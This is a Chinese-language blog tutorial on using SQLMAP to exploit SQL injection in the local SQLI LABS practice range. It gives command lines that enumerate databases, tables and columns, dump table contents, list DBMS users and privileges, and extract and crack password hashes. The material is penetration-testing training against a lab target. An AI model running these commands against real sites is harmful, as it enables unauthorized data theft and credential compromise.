[网安工具] SQLMAP 漏洞利用 —— 获取数据库信息

🌟想了解这个工具的其它相关笔记?看看这个:SQL 注入自动探测工具 —— SQLMAP 使用手册

当我们使用 SQLMAP 发现目标站点可能存在 SQL 注入漏洞后,就可以使用 SQLMAP 进行进一步的利用,比如 “获取数据库信息”。那么本章,笔者将继续以 SQLI LABS 靶场为例,讲解如何使用 SQLMAP 这款工具进行 SQL 注入的漏洞利用。

小贴士

SQLMAP 当发现某个站点疑似存在注入点时,就会把数据记录下来,你下次再使用相同的命令去挖掘的时候,它就会直接给你展示它测试出来的结果,以避免重复测试。

备注:SQLMAP 数据存放目录:C:\Users\用户名\AppData\Local\sqlmap\output

0x01:信息枚举 — 数据库内容数据

既然是数据库,肯定得优先关注数据库中的内容啦,比如有啥 “数据库”、“数据库表”、“数据库表字段”、“数据库表内容”。

0x0101:获取数据库列表 — --dbs

在运行 SQLMAP 的时候加上 --dbs 参数可以让其枚举目标站点后端的所有数据库:

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-2/?id=1 --dbs

0x0102:获取数据库表信息 — --tables

当我们知道了目标后端存在的数据库表名后,我们可以进一步的通过 --tables 获取指定数据库中存在的表名,指定数据库需要通过 -D 参数指定:

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-2/?id=1 -D security --tables

0x0103:获取数据表字段信息 — --columns

知道了数据表名后我们就可以尝试通过 --columns 参数枚举出指定数据表中存在的字段数(要通过 -D 指定枚举的数据库,-T 指定枚举的数据表名):

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-2/?id=1 -D security -T users --columns

0x0104:获取数据库表条目数 — --count

了解了数据表的字段信息后,我们还要了解一下目标数据表中的数据条目数,如果目标数据库数据量过大,直接导出怕对方系统崩溃,那就不好玩了。通过 --count 参数可以获取指定数据表的数据条目数:

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-2/?id=1 -D security -T users --count

0x0105:获取数据库表内容 — --dump

发现目标数据库表数据量不大,我们就可以通过添加 --dump 参数直接导出指定数据表中的内容(实战中只要到读取表名就足够了,脱裤是违法的):

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-2/?id=1 -D security -T users --dump

0x02:信息枚举 — 数据库系统信息

除了枚举上面讲到的 “数据库内容数据”,我们还可以通过 SQLMAP 获取一些数据库系统相关的信息,比如 DBMS Banner(指纹)、当前站点正在使用的数据库,当前使用数据库的用户呀等等之类的信息,为我们后续的渗透做铺垫。

0x0201:获取数据库 Banner — -b

通过 -b 参数可以让 SQLMAP 获取目标 DMBS 的 Banner,即横幅信息:

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -b

0x0202:获取当前正在执行操作的 DBMS 用户名

使用 --current-user 参数,可以让 DBMS 获取当前正在执行操作的 DBMS 的用户名(主要是用来判断权限的,如果权限够高,我们就有机会进行提权操作):

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --current-user

0x0203:获取当前站点正在使用的数据库名称

通过 --current-db 参数,可以让 SQLMAP 列出当前注入接口正在使用的后端数据库的名称(方便定位关键数据库):

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --current-db

0x0204:探测 DBMS 当前用户是否为 DBA

通过 --is-dba 参数,可以让 SQLMAP 判断当前我们获取的数据库用户是否为数据库管理员(如果不是就不能 GetShell 了):

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --is-dba

0x0205:获取当前 DBMS 中所有的用户

通过 --users 参数,可以让 SQLMAP 枚举出当前 DBMS 中的所有用户(可以操作数据库的用户):

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --users

0x0206:获取当前 DBMS 中所有用户的密码哈希

通过 --passwords 参数,可以枚举出 DBMS 中所有用户的密码哈希,不单单是枚举,它甚至还会自动进行爆破:

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --passwords

0x0207:获取当前 DBMS 中所有用户的权限信息

通过 --privileges 参数,可以让 SQLMAP 枚举出当前数据库中所有用户的权限信息:

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --privileges

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Blue17 :: Hack3rX

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值